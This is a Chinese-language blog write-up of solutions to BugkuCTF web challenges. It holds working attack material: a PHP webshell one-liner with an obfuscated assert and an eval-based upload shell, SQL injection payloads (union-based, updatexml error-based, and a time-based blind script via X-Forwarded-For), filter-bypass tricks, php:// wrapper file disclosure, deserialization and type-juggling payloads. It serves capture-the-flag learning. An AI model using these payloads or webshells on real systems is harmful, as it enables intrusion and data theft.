[BugkuCTF]Web部分(2)

    本文记录一下BugkuCTF上Web部分的第二十一至第四十个题目。其他BugkuCTF的题目参见文末的链接。

秋名山老司机

http://123.206.87.240:8002/qiumingshan/

是不是老司机试试就知道。

2秒内计算一个复杂的算术表达式并提交,显然需要写脚本。刷新几次发现页面提示“Give me value post about …”,猜想post的变量名为 value。

直接放上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
reg = '<div>(.+?)='
while(1):
s = requests.Session()
html=s.get(url).content
res = re.findall(reg, html)[0]
post = {
'value':eval(res)
}
text = s.post(url, data=post).content
if "Bugku" in text:
print text
break

实际运行时发现不是每次运行都出结果,于是写了个循环,检测到结果时停止。

速度要快

速度要快!!!!!!

http://123.206.87.240:8002/web6/

格式KEY{xxxxxxxxxxxxxx}

查看源码看到:

1
OK ,now you have to post the margin what you find

提示我们要提交 margin。于是用burp抓包看到:

显然,是要将response里的flag字段用base64解码,当做margin变量的值通过post传参,而且要在很短的时间内,故只能通过脚本完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
import requests

url = 'http://123.206.87.240:8002/web6/'
s = requests.Session()
header = s.get(url).headers
# print header
flag = base64.b64decode(header['flag'])
print flag
flag = flag.split(":")[1].strip()
print flag
flag = base64.b64decode(flag)
print flag
data = {'margin':flag}
print s.post(url, data).content

cookies欺骗

http://123.206.87.240:8002/web11/

答案格式:KEY{xxxxxxxx}

打开页面看到网址:

1
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

将其中的filename参数的值base64解码后得到”keys.txt”,于是将”index.php”base64编码后作为filename的值传入得到:

1
<?php

结合另一个参数名line想到是逐行返回,写脚本获取源码:

1
2
3
4
5
6
url = 'http://123.206.87.240:8002/web11/index.php'
s = requests.Session()
for i in range(30):
params = {'line':i,
'filename':base64.b64encode('index.php')}
print s.get(url, params=params).content,

得到源码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

构造Cookie: margin=margin,并读取keys.php:

1
2
3
4
params = {'line':'',
'filename':base64.b64encode('keys.php')}
cookies = {'margin':'margin'}
print s.get(url, params=params, cookies=cookies).content

never give up

http://123.206.87.240:8006/test/hello.php

访问看到:

1
2
<!--1p.html-->
never never never give up !!!

访问/1p.html并用url解码为:

1
2
3
4
5
6
7
8
9
10
var Words ="<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->

将注释部分用base64解码并用url解码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>

关键代码:

  • 第2行:限制 URL 查询字符串中必须有非空非零变量 id
  • 第10行:限制变量 $a 中不能含有字符 .
  • 第15行:要满足以下 5 条表达式才会爆 flag:
    • 变量 $data 弱等于字符串 bugku is a nice plateform!
    • 变量 $id 弱等于整型数 0
    • 变量 $b 的长度大于 5
    • 字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
    • 变量 $b 的第一个字符弱不等于整型数 4

这里直接访问/f4l2a3g.txt可得到flag,但显然不是作者的本意。

根据php的弱类型比较,构造payload:

1
2
id=a&a=php://input&b=%0012345
post:bugku is a nice plateform!

welcome to bugkuctf

http://123.206.87.240:8006/test1/

打开页面看到注释部分有如下代码:

1
2
3
4
5
6
7
8
9
10
$user = $_GET["txt"];  
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

首先txt要是传入一个文件,文件的内容是”welcome to the bugkuctf”,这里可以利用php://input封装协议,通过post来传入。之后可以利用php://filter=convert.base64-encode/resource=xxx.php来读取被include的文件。

转码得到的hint.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

再来读取index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

通过上面index.php知道了如果直接读取flag.php即file变量中包含“flag”字符串,会输出“不能现在就给你flag哦”并退出,否则就会包含file变量中的文件,并输出反序列化的password的值。结合读取出的hint.php文件中的Flag类,可以构造password的值为flag.php的序列化,并通过file变量将hint.php包含,利用Flag类来输出flag.php的内容。

写一段php代码来生成“flag.php”的序列化:

1
2
3
4
5
6
7
8
9
<?php
class Flag{
public $file;
}
$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
print_r($a);
?>

运行得到:

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload为:

flag在源码里:

过狗一句话

http://123.206.87.240:8010/

送给大家一个过狗一句话

1
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

explode(separator,string,limit):把字符串打散为数组。separator规定在哪里分割字符串;string要分割的字符串。

这句话即

1
<?php assert($_GET['s']) ?>

先扫一下当前目录

1
http://123.206.87.240:8010/?s=print_r(scandir(%27./%27));

看到这道题被好多人上传了奇奇怪怪的东西…最后发现flag在f14g.txt里,直接访问得到:

字符?正则?

字符?正则?

http://123.206.87.240:8002/web10/

代码先粘上:

1
2
3
4
5
6
7
8
<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

preg_match(pattern,subject):搜索subject中与pattern正则表达式的匹配,匹配到返回1,否则返回0。

分析那个正则表达式:

  • /:定位符(^开始;$结尾;\b单词边界;\B非单词边界)
  • .: 除换行符 \n 之外的任何单字符
  • *:匹配前面的子表达式零次或多次
  • {4,7}:最少匹配4次且最多匹配6次
  • /:\转义,匹配/字符
  • [a-z]:匹配所有小写字母
  • [[:punct:]]:匹配任何标点符号

构造payload:

1
keyakeyaaaakey:/a/akeya?

前女友(SKCTF)

http://123.206.31.85:49162/

flag格式:SKCTF{xxxxxxxxxxxxxxxxxx}

查看源码看到链接:

打开链接的文件:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

这里有考察了php的弱类型比较:

  1. v1!=v2&&md5(v1)==md5(v2)
    这里有两种做法,第一种是利用md5(数组)会返回null,构造v1[]=1,v2[]=1即可;第二种是利用两个0开头的md5值比较结果为1,构造v1=240610708,v2=314282422即可。
  2. !strcmp(v3,flag)
    strcmp(str1,str2):当str1<str2返回-1;当str1=str2返回0;当str1>str2返回1。
    而strcmp在比较数组时存在漏洞。当str1和str2中有任意一者或两者为数组时,判断二者相等。所以构造v3[]=3即可。

最后payload为:

1
http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=3

login1(SKCTF)

http://123.206.31.85:49163/

flag格式:SKCTF{xxxxxxxxxxxxxxxxx}

hint:SQL约束攻击

打开网址看到有登录和注册功能:

提示SQL约束攻击,简单来说就是如果表中某个特定列有长度约束,在执行insert查询时,会对插入数据进行“修剪”操作,而在执行select查询时,又会将where子句中字符串末尾的空格删除,这时就会存在便于攻击的漏洞。

假如用户名这列长度约束为20个字符,已经存在“admin”账户,密码为123456,当攻击者在注册时也就是执行insert into查询时,插入用户名为“admin(15个空格)1”,密码为abcdef,存入表中的用户名只有admin和之后的一堆空格。当使用select语句查询“admin”时,会查询到两条用户信息,而第二个用户实际上是admin加上后面一堆空格,但却会返回第一个admin用户的信息。

1
2
3
4
5
6
7
8
9
10
11
12
mysql>   INSERT INTO users(username, password)
-> VALUES ('admin 1', 'random_pass');
Query OK, 1 row affected, 1 warning (0.05 sec)
mysql> SELECT * FROM users
-> WHERE username='admin';
+---------------------+----------+
| username | password |
+---------------------+----------+
| admin | 123456 |
| admin | abcdef |
+---------------------+----------+
2 rows in set (0.00 sec)

也就是说,当攻击者使用“admin”和“abcdef”尝试登录时,能够以原始admin用户身份登录。

回到题目上,首先注册一个用户,输入admin+大量空格+任意字符,设定一个密码,之后使用admin和自己设定的密码尝试登录即可。

你从哪里来

http://123.206.87.240:9009/from.php

打开网页看到提示:are you from google?

联系题目,想到header里的referer属性。HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。

使用burp抓包并添加新属性

这里注意加上https://

md5 collision(NUPT_CTF)

http://123.206.87.240:9009/md5.php

打开网页看到提示“please input a”,根据题目提示md5碰撞,想到php的弱类型比较:两个0开头的字符串用“==”比较返回true。于是找一个md5值为0开头的字符串。

payload为:

1
http://123.206.87.240:9009/md5.php?a=s878926199a

程序员本地网站

http://123.206.87.240:8002/localhost/

请从本地访问

根据提示,用burp抓包添加属性

各种绕过

各种绕过哟

http://123.206.87.240:8002/web7/

打开网页看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])

print 'passwd can not be uname.';

else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else

print 'sorry!';

}

要获取flag需满足:

  • get传参id=margin
  • get传参uname
  • post传参passwd
  • uname和passwd不能相等,但二者的sha1值需强等于,即值和变量类型都要相等。

这里利用sha1函数漏洞来解决最后一个问题。因sha1()函数无法处理数组类型,将报错并返回false,即false===false。

payload为:

web8

txt????

http://123.206.87.240:8002/web8/

看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

extract() 函数从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值。

file_get_contents() 函数把整个文件读入一个字符串中。

即传入变量ac和fn,fn为一个文件,读入一个字符串f中,f要强等于ac。

这里利用php://input,post传入和ac一样的字符串。

payload为:

细心

地址:http://123.206.87.240:8002/web13/

想办法变成admin

打开网页没有看到有用的提示,先用御剑扫一下。

robots.txt是搜索引擎中访问网站的时候要查看的第一个文件,它告诉爬虫程序在这个服务器上什么文件是可以被查看的。

打开robots.txt

1
2
User-agent: *
Disallow: /resusl.php

它越不让访问的页面,越是要看一看…

想到提示admin,将x=admin传入

求getshell

求getshell

http://123.206.87.240:8002/web9/

My name is margin,give me a image file not a php

通过题目知道这是一道上传绕过的题目,新建一个php文件,写个一句话木马:

1
<?php @eval($_POST[otuki]);?>

使用burp抓包并发至repeater

常见考点在以下几个位置:

  • header里的Content-Type属性的MIME类型,修改大小写
  • data里文件名,尝试%00截断,特殊文件名,修改大小写,文件包含,解析漏洞等
  • data里的Content-Type属性的MIME类型,修改大小写

经过不知道多少遍尝试,最终确定需要修改三处:

  • header里的header里的Content-Type属性修改大小写
  • 文件名使用php5(不区分大小写)
  • data里的Content-Type属性的MIME类型修改为“image/jpeg”

INSERT INTO注入

地址:http://123.206.87.240:8002/web15/

flag格式:flag{xxxxxxxxxxxx}
不如写个Python吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

题目给了一段代码,耐心看一下…

error_reporting(0):关闭错误回显

X_FORWARDED_FOR:当使用代理时,web服务器无法通过TCP数据包来源获得发起请求的client的真实IP,因此代理服务器通常会在http请求头增加一个叫做x_forwarded_for的字段,用来记录请求发起者的真实IP。

REMOTE_ADDR:是服务端根据请求TCP包的ip指定的。假设从client到server中间没有任何代理,那么web服务器(Nginx,Apache等)就会把client的IP设为IPremote_addr;如果存在代理转发HTTP请求,web服务器会把最后一次代理服务器的IP设置为remote_addr。

于是确定注入点在X-Forwarded-For。尝试使用bool型注入,但没有任何错误报告,考虑使用时间型盲注。

1
2
$ip_arr = explode(',', $ip);
return $ip_arr[0];

而上面这两行代码就意味着注入语句无法使用逗号,而通常情况下基于时间的盲注都要靠

1
if(exp1,sleep(5),1)

来写,这让我很头疼。于是上网学习不使用逗号进行时间型盲注的方法,get到了新的注入姿势:

1
case when exp1 then sleep(5) else 1 end

之后想到判断条件需要用substr来切片,而substr的用法是:

1
substr(str,m,n)   #从第m个字符切n个字符

于是再打开google学习一下,发现还能这么写:

1
(str from m for n)

最终payload为:

1
2
3
1' and (case when (length((select database())) = 14) then sleep(5) else 1 end) #

1' and (case when (substr(select database()) from 1 for 1)='c' then sleep(5) else 1 end) #

完整脚本粘上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
url="http://123.206.87.240:8002/web15/"
flag=""

#猜表名长度为14:
#data = 1' and (case when (length((select group_concat(table_name) from information_schema.tables where table_name=database()))=14) then sleep(5) else 1 end))
#爆表名
#data = "1'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ) from " + str(i) + " for 1 )='" + str1 + "') then sleep(5) else 1 end )) #"
#client_ip,flag

#猜列名长度为4:
#data = 1' and (case when (length((select group_concat(column_name) from information_schema.columns where table_name='flag'))=4) then sleep(5) else 1 end)) #
#爆列名
#data = "1' and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from " + str(i) + " for 1 )='" + str1 + "') then sleep(5) else 1 end )) #"
#flag

#猜内容长度为32:
#data = 1' and (case when (length((select group_concat(flag) from flag))=32) then sleep(5) else 1 end)) #
#爆内容
#data = "1' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(5) else 1 end )) #"
#

for i in range(1,33):
for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,[email protected]#$%^&*.":
data = "1' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(5) else 1 end )) #"
# print data
headers = {"x-forwarded-for":data}
try:
result = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout, e:
flag += str1
print flag
break
print 'flag:' + flag

将被注释的六条语句依次填入for循环里的data变量运行,依次爆出:

1
2
表名:client_ip,flag
flag表的列名:flag

字段:

这是一个神奇的登陆框

http://123.206.87.240:9001/sql/

flag格式flag{}

打开之后先随便登录一下:

用户名后面加个单引号,没有任何提示;加个反斜杠,出现报错信息,知道了是双引号闭合。

经尝试%23可以注释掉后面的语句,并且可以使用order by,测试出只有两列数据,开始注入。

先确定回显位:

1
admin_name=admin" union select 1,2%23&admin_passwd=123456&submit=GO+GO+GO

回显位在1:

爆表名:

1
admin_name=admin" union select group_concat(table_name),2 from information_schema.tables where table_schema = database()%23&admin_passwd=123456&submit=GO+GO+GO

爆表名:

1
admin_name=admin" union select group_concat(column_name),2 from information_schema.columns where table_schema = database() and table_name=0x666c616731%23&admin_passwd=123456&submit=GO+GO+GO

爆字段:

1
admin_name=admin" union select flag1,2 from flag1%23&admin_passwd=123456&submit=GO+GO+GO

多次

http://123.206.87.240:9004

本题有2个flag
flag均为小写
flag格式 flag{}

首先,我要说明一下,这道题有三个flag!!!

至于题干为什么说有两个,我就无从得知了。

那么,现在就开始做这道“大题”

首先打开页面

原链接:

1
http://123.206.87.240:9004/1ndex.php?id=1

加个单引号,报错,再加个%23,不报错了,应该有注入。使用order by 1报错,双重重写oorrder by 1不报错了,说明有过滤,但怎么知道它都过滤了哪些关键字呢?

通过上网查阅,学到了一个新技能:异或注入

举例说明:

1
http://123.206.87.240:9004/1ndex.php?id=1'^(length('union')!=0)

使用形如这种语句,当过滤掉里面的关键字时,页面返回正常,没被过滤的话,页面就会报错。接下来只要构造一个全是关键字的字典,交给burp的intruder跑一圈就知道过滤掉了那些关键字。

使用sqlmap内置的字典就可以进行测试。经测试,下面这些关键字惨遭过滤:

不过还好能使用双重重写绕过…

确认是两列,并查看回显位:

爆表名:

1
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23

表竟然起了这俩名字,看样子都要看一看了…

爆flag1表的列名:

1
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x666c616731%23

爆flag1表的数据:

1
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(flag1,0x7e,address) from flag1%23

将第一个flag提交,不对,说明要提交第二个flag。而第二个flag应该就在./Once_More.php页面里了。Go on!

…出题人真是恶趣味,放这种图

尝试了大小写绕过,双重重写绕过,都没啥反应,只能试试报错注入了。

报错注入通常使用floor(),updatexml(),extractvalue()等函数,以updatexml()为例,它有三个参数:

1
updatexml(目标xml文档,xml路径,更新的内容)

其中第一个和第三个参数都是string格式的,而第二个参数是XPath_string(XPath格式的字符串)格式的,形如”/xx/xx”,如果格式正确,没有查到内容,也不会返回错误。但如果格式不正确,就会返回写入的非法内容,这也就是我们可以操作的地方了。

刚开始没有显示还以为这招也不行,幸好抓包看了一下,发现报错信息是黑色背景上的黑色字orz…

爆表名:

1
http://123.206.87.240:9004/Once_More.php?id=1%27 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) %23

爆flag2表的列名:

1
http://123.206.87.240:9004/Once_More.php?id=1%27 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c616732),0x7e),1) %23

爆flag2表中flag2列的数据:

1
http://123.206.87.240:9004/Once_More.php?id=1%27 and updatexml(1,concat(0x7e,(select group_concat(flag2) from flag2),0x7e),1) %23

这个也就是需要提交的flag。同样,得到address列的数据:

于是,再进入第三部分:

说IP不符合,那就伪装一下。

出现一个二维码

扫描得到下面这句话

1
你……你……你可以看到我? 好吧,我来自于ErWeiMa.php 顺便告诉你两个密码 one:参数名是game; tow:flag在admin里 对了,文件后@…c=Y&$as%_=#*ad…*@#!*&@…c……

尝试传参game=admin无果,想到可能是文件包含,那就用php://filter封装协议试一试:

1
http://123.206.87.240:9004/Have_Fun.php?game=php://filter/convert.base64-encode/resource=admin.php

还是不行,那就试试post传:

解码得到

1
2
3
4
5
<?php

$good = "Good Job!I want You!";
$flag = "0x476F6F64204A6F62A3A1492077616E7420596F7521A3A1";
?>

$flag变量解码之后和$good变量内容一样。

至此,这道题才算圆满…

PHP_encrypt_1(ISCCCTF)

fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

PHP_encrypt_1.zip

先base64解码,发现虽然能解码,但解出来是乱码,应该还有其它操作。

把链接zip下载解压是一个php文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>

给出了加密方法,需要理解并写出解密方法。先看一下加密方法。

首先给了一个字符串’ISCC’,得到其md5值key,然后通过第一个for循环,得到了一个char,如果key长度大于等于data的长度len,char则等于key的前len位;如果key的长度小于len,则将key再循环一遍甚至n遍。最后保证char和data长度相同。然后将char和data的每一位转成十进制ASCII码并对应着相加再取余128,得到的十进制数再转成字符,累加成字符串得到密文。

明白了加密算法,写出解密算法也就不难了。这里用python来写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
import hashlib

def decrypt(ciphertext):
data = ''
char = ''
x = 0
str1 = base64.b64decode(ciphertext)
# print 'str:', str1
m = hashlib.md5()
m.update('ISCC')
key = m.hexdigest()
# print 'key :', key
for i in range(len(str1)):
if (x == len(key)):
x = 0
char += key[x]
x += 1
# print 'char:', char
for i in range(len(str1)):
for s in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,[email protected]#$%^&*.":
if(chr((ord(s) + ord(char[i])) % 128) == str1[i]):
data += s
break
print 'data:', data

if __name__ == '__main__':
c = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='
decrypt(c)

提交时需要加上:{}


所有BugkuCTF的题目:

[BugkuCTF]Web部分(1)

[BugkuCTF]Web部分(2)

[BugkuCTF]Web部分(3)

[BugkuCTF]杂项部分(1)

[BugkuCTF]杂项部分(2)

[BugkuCTF]杂项部分(3)

但愿我的博文能对您有所帮助~